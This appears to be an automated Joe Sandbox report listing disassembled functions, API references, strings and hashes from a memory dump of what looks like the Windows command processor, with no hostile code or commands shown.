Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: CreateSemaphore
String ID: _p0$wil
API String ID: 1078844751-1814513734
Opcode ID: f755fc07889d6bdabc5bc906762bcb13605c747dc28133a8421b38486d33263f
Instruction ID: 486c363d064b0d6870efc7eb71d6a4781d90217a1b1c64ce1c4b3292bfcb0025
Opcode Fuzzy Hash: f755fc07889d6bdabc5bc906762bcb13605c747dc28133a8421b38486d33263f
Instruction Fuzzy Hash: 8451C561B19F4E86EF21AB5484542B9E3A0AF887B0FE44535EA8D07B81DF3CD44D8328

Function 00007FF718D6B89C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

RtlCreateUnicodeStringFromAsciiz.NTDLL ref: 00007FF718D6B934
GlobalAlloc.API-MS-WIN-CORE-HEAP-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF718D55085), ref: 00007FF718D6B9A5
GlobalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF718D55085), ref: 00007FF718D6B9F7

Strings

%WINDOWS_COPYRIGHT%, xrefs: 00007FF718D6B912

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Global$AllocAsciizCreateFreeFromStringUnicode
String ID: %WINDOWS_COPYRIGHT%
API String ID: 1103618819-1745581171
Opcode ID: 16d2b5de7a39f60598d54afa282db4830b4e4e1db5eb0a36e09c541776fa7494
Instruction ID: 8610d8e71620956df35c62a215f701a63faa8153a713dfa0e71daef7fcea4148
Opcode Fuzzy Hash: 16d2b5de7a39f60598d54afa282db4830b4e4e1db5eb0a36e09c541776fa7494
Instruction Fuzzy Hash: 1D416D62A08F8AC2EB50AB159410279F7A0FB4DBA4FD55236DACD13395EF3CE44D8714

Function 00007FF718D70774 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D707DA

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

_wcslwr.MSVCRT ref: 00007FF718D7085B
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D708A9

Strings

[%s], xrefs: 00007FF718D7080F

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memset$_wcslwr
String ID: [%s]
API String ID: 886762496-302437576
Opcode ID: edde6ab5db54e3a5535b346c374fc5c976f6442aa931e6f93dfa572844f0dcb2
Instruction ID: 97f2c1c68f04d982ec991b6e49fe483f455909247b09badcbb3f45458def5a74
Opcode Fuzzy Hash: edde6ab5db54e3a5535b346c374fc5c976f6442aa931e6f93dfa572844f0dcb2
Instruction Fuzzy Hash: 29318C32705B8A85EB21EF21D8503E9A7A0FB4CBA8F844135DA8D47B55DF3CD64D8304

Function 00007FF718D532E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D533A8: iswspace.MSVCRT(?,?,00000000,00007FF718D6D6EE,?,?,?,00007FF718D60632), ref: 00007FF718D533C0

iswspace.MSVCRT(?,?,?,00007FF718D532A4), ref: 00007FF718D5331C

Strings

off, xrefs: 00007FF718D53386

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: iswspace
String ID: off
API String ID: 2389812497-733764931
Opcode ID: 23619b9e270ea0a6abcdd2ffa6124d8d0217e46963fde130039e410627268166
Instruction ID: ad7fa7c888ccb346f1c3ca85c388ce643c7487069608ed1b580f77283de28b4a
Opcode Fuzzy Hash: 23619b9e270ea0a6abcdd2ffa6124d8d0217e46963fde130039e410627268166
Instruction Fuzzy Hash: 2E215321E0CF5A81FB687B15945527DE6B1EF4EBB0FC8823AD98D47681DE1CE44C8329

Function 00007FF718D69308 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 56COMMON

Download Yara Rule

APIs

wcschr.MSVCRT ref: 00007FF718D69350

Part of subcall function 00007FF718D509F4: iswspace.MSVCRT ref: 00007FF718D50A11
Part of subcall function 00007FF718D509F4: wcschr.MSVCRT ref: 00007FF718D50A2B

Part of subcall function 00007FF718D4D3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D46E
Part of subcall function 00007FF718D4D3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D485
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D4EE
Part of subcall function 00007FF718D4D3F0: iswspace.MSVCRT ref: 00007FF718D4D54D
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D569
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D58C

Strings

%s=%s, xrefs: 00007FF718D693C0
PATH, xrefs: 00007FF718D69371, 00007FF718D693AA
DPATH, xrefs: 00007FF718D69361, 00007FF718D6939F

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: wcschr$Heapiswspace$AllocProcess
String ID: %s=%s$DPATH$PATH
API String ID: 3731854180-3148396303
Opcode ID: ed2b41c8f7c1b35c8c8099a63381124b221818ea20370dab215de2e112638c1b
Instruction ID: b65361c612fb6f5a392367021ec2550d0bc8dc8aeae03df54dfdf37a3c662378
Opcode Fuzzy Hash: ed2b41c8f7c1b35c8c8099a63381124b221818ea20370dab215de2e112638c1b
Instruction Fuzzy Hash: 4521B021B08F5F90EB54BB65E4402B9E2B1AF88BA4FD84135DD8E47394DE2CD44C8368

Function 00007FF718D58198 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

wcscmp.MSVCRT ref: 00007FF718D581EA
wcscmp.MSVCRT ref: 00007FF718D581FD

Strings

????????.???, xrefs: 00007FF718D581F3
*.*, xrefs: 00007FF718D581E0

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: wcscmp
String ID: *.*$????????.???
API String ID: 3392835482-3870530610
Opcode ID: 2267b9e2c7923373c3284e1f11a26023b10064941758683347217dc228a16a6c
Instruction ID: 66ba722c32ac06b3c80d949fcf81467e05751207a07caeea03e1695df8630f91
Opcode Fuzzy Hash: 2267b9e2c7923373c3284e1f11a26023b10064941758683347217dc228a16a6c
Instruction Fuzzy Hash: AF110225B24F6A80E764AB22A44153AF6B1FB4CBA1F884132CECD47B45DE3CE4498724

Function 00007FF718D69114 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 43COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF718D69146

Strings

%s, xrefs: 00007FF718D69179
Null environment, xrefs: 00007FF718D69138
CMD Internal Error %s, xrefs: 00007FF718D6913F

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: fprintf
String ID: CMD Internal Error %s$%s$Null environment
API String ID: 383729395-2781220306
Opcode ID: 0cb055b157f36561183311c9dd91b0f05aa56f2c0aaf14e14510f586112b26cc
Instruction ID: a901cd038995d2b4dba8008a05917e6b17997de2bdcfe5b2c5620f21dc7fbfb8
Opcode Fuzzy Hash: 0cb055b157f36561183311c9dd91b0f05aa56f2c0aaf14e14510f586112b26cc
Instruction Fuzzy Hash: 17118F21908F4AA1EB55AB24E9440F9E261EB587B4FE44332DABD433D4EF2CE44D8358

Function 00007FF718D504F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0 ref: 00007FF718D50525
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0 ref: 00007FF718D50554

Strings

SetThreadUILanguage, xrefs: 00007FF718D5054D
KERNEL32.DLL, xrefs: 00007FF718D5051E

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: KERNEL32.DLL$SetThreadUILanguage
API String ID: 1646373207-2530943252
Opcode ID: 33fd74526e8d725267334377f69302da3f837b9787d184b3d8809460f86dc4c4
Instruction ID: fe6e753c4efd70cc1f2ce9d4d35f7a0dbf2a7d6f9899ab216e34ccd6b0276d3a
Opcode Fuzzy Hash: 33fd74526e8d725267334377f69302da3f837b9787d184b3d8809460f86dc4c4
Instruction Fuzzy Hash: 15010C21A09F0AD1EB44A711A892134F2B0AF4D734BC40336D9BE027E0DE2C684D8329

Function 00007FF718D673C0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 25libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0 ref: 00007FF718D673DF
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0 ref: 00007FF718D673F5

Strings

kernelbase.dll, xrefs: 00007FF718D673D5
RaiseFailFastException, xrefs: 00007FF718D673EE

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: RaiseFailFastException$kernelbase.dll
API String ID: 1646373207-919018592
Opcode ID: 3febe13a05f537dc5e67cec473ac92f04f036d5fc975d7a9241dfcd9d5059c04
Instruction ID: f2dd6b6a1dee8cabe8e313870b138f1466d3e0bea6b87e23bc3d8b3cffe597c1
Opcode Fuzzy Hash: 3febe13a05f537dc5e67cec473ac92f04f036d5fc975d7a9241dfcd9d5059c04
Instruction Fuzzy Hash: 56F0DA21A18F9992EB04AB12F445079EA60FF8DBE5BC89535EA8E07B14DF3CD48DC714

Function 00007FF718D41130 Relevance: 6.2, APIs: 4, Instructions: 156COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D4138B

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

Part of subcall function 00007FF718D41140: towupper.MSVCRT ref: 00007FF718D411D3

Part of subcall function 00007FF718D5417C: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D541AD

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D414A6

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memset$CurrentDirectorytowupper
String ID:
API String ID: 1403193329-0
Opcode ID: 8f12ec0cfcd936a987ebeb0b3721ecca5b9c81898bdfe4a19f372ac06b3fdf31
Instruction ID: ba9da38a9d6737a6aaf5cc53de4c1bc6c47ec2e4f3ff0c51ded7d74d21885afc
Opcode Fuzzy Hash: 8f12ec0cfcd936a987ebeb0b3721ecca5b9c81898bdfe4a19f372ac06b3fdf31
Instruction Fuzzy Hash: C8619032B08F868AEB10EB65D4402ADF7B4FB48768F944235DE9D13A99DF38D458C714

Function 00007FF718D54878 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

_wcsnicmp.MSVCRT ref: 00007FF718D548DE
_wcsnicmp.MSVCRT ref: 00007FF718D548FF
wcschr.MSVCRT(?,?,?,00007FF718D5ED49), ref: 00007FF718D5493E

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: _wcsnicmp$wcschr
String ID:
API String ID: 3270668897-0
Opcode ID: c131fa53280227e888b319e24c815cf36435a05d61152e6198fec243a6d9d163
Instruction ID: 40627050a77f7227ef01b8098dcd59417e409b252abaaf53cb8b44bd219a65c1
Opcode Fuzzy Hash: c131fa53280227e888b319e24c815cf36435a05d61152e6198fec243a6d9d163
Instruction Fuzzy Hash: 8F519151A08F4A81EB617F1194411B9E3B1EF4DBA0FD8C236CA9E072D9DE2CD94D8379

Function 00007FF718D53060 Relevance: 6.1, APIs: 4, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D51EA0: wcschr.MSVCRT(?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000,00000000,0000000A,?,00007FF718D70D54), ref: 00007FF718D51EB3

SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,00000000,0000000A,00007FF718D492AC), ref: 00007FF718D530CA
SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D530DD
GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D530F6
SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D53106

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: ErrorMode$FullNamePathwcschr
String ID:
API String ID: 1464828906-0
Opcode ID: 4608740039e49971374e978e9372c54a28b1034dfcf154244c984753711d5cb1
Instruction ID: c889df3ebdacfdb04711b6fce73e33ff5ff8fd4858718324fa43cf76411395ed
Opcode Fuzzy Hash: 4608740039e49971374e978e9372c54a28b1034dfcf154244c984753711d5cb1
Instruction Fuzzy Hash: 18310361A08B5982E724BF15A40047EF671EB4EBA4FD48336DA8A473D0DE7DE84D8318

Function 00007FF718D6F358 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D6F3B5

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D6F401
GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D6F442
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D6F468

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memset$DriveFullNamePathType
String ID:
API String ID: 3442494845-0
Opcode ID: c4faa7a40be53a6a0e94dcc52435e0141cda1ae593caa646d4c93336f675662c
Instruction ID: 0c11b9a37a9eceea58ed4e2e1fd2dc80805efd23bb4418196a992fd0d39c592a
Opcode Fuzzy Hash: c4faa7a40be53a6a0e94dcc52435e0141cda1ae593caa646d4c93336f675662c
Instruction Fuzzy Hash: 3C31AF32605FC98AEB60EF11E8407E9B3A4FB88B88F844175DA8D47B54CF38D209C710

Function 00007FF718D58F80 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00007FF718D58FF3
RtlLookupFunctionEntry.NTDLL ref: 00007FF718D59012
RtlVirtualUnwind.NTDLL ref: 00007FF718D5905F
__raise_securityfailure.LIBCMT ref: 00007FF718D59144

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: f9503a7e6f26e693eab0e8ec34dcabcd79a91a5ad0fdcc229cb5dec8ce22a0f7
Instruction ID: 82200f3491292aad5026a8191ba7ae4ea7c0f38d56c0fb814d41d48ac875d4cd
Opcode Fuzzy Hash: f9503a7e6f26e693eab0e8ec34dcabcd79a91a5ad0fdcc229cb5dec8ce22a0f7
Instruction Fuzzy Hash: 80419226A08F4985EB50AB18F881369E364FB8C768FD04136D9CD92768DF3DE44DC724

Function 00007FF718D44F58 Relevance: 6.1, APIs: 4, Instructions: 72filetimeCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF718D629C4
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D629E9
_get_osfhandle.MSVCRT ref: 00007FF718D62A22
SetFileTime.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D62A39

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: File_get_osfhandle$TimeWrite
String ID:
API String ID: 4019809305-0
Opcode ID: 81587e0329514d19275e074575feb35963da2dd15ba7483d0e323a7e2a39d08e
Instruction ID: d211a0eefdb75d2fa537275f58f4717569da6899fc596df81fb4ef00a9f09b1a
Opcode Fuzzy Hash: 81587e0329514d19275e074575feb35963da2dd15ba7483d0e323a7e2a39d08e
Instruction Fuzzy Hash: 8631A121A08F4E86E7906B159481379E7A1AF4EB74FA49239D9CD43B95CF3CD84C8618

Function 00007FF718D58470 Relevance: 6.1, APIs: 4, Instructions: 72stringCOMMON

Download Yara Rule

APIs

wcstol.MSVCRT ref: 00007FF718D5848E
wcstol.MSVCRT ref: 00007FF718D584A8
lstrcmpW.API-MS-WIN-CORE-STRING-OBSOLETE-L1-1-0 ref: 00007FF718D5853F

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: wcstol$lstrcmp
String ID:
API String ID: 3515581199-0
Opcode ID: 5b9efed5608bd49f2816daba6a3b85e90b3500fb38e55be3423670eddfbfd6ec
Instruction ID: 0c1b3612ab7b3288d07a16fb3f0ebad290aa84f2ee98ded7763c0231b41da0d4
Opcode Fuzzy Hash: 5b9efed5608bd49f2816daba6a3b85e90b3500fb38e55be3423670eddfbfd6ec
Instruction Fuzzy Hash: A1218032A08B4683E7656B69E09513FEAB0FB4D760F855235DBCF02754CE6CE44D8614

Function 00007FF718D6E810 Relevance: 6.1, APIs: 4, Instructions: 67fileCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF718D6E836
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D6E855
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D6E877
DeleteFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D6E8AE

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: File$DeleteErrorLastWrite_get_osfhandle
String ID:
API String ID: 2448200120-0
Opcode ID: 8b4da8a10e097a17451e285642832c13025bfbcfcba5fc9726ddc1af043f7f21
Instruction ID: 46ceecc5a0e39e90d7fb4646135b52793178a5330898db7b16a1bda6f2697f07
Opcode Fuzzy Hash: 8b4da8a10e097a17451e285642832c13025bfbcfcba5fc9726ddc1af043f7f21
Instruction Fuzzy Hash: E5213A31A08F4E8BE7157B11A401279F7A1EBCDBA1FE44135E98943794CF3CE44D8A28

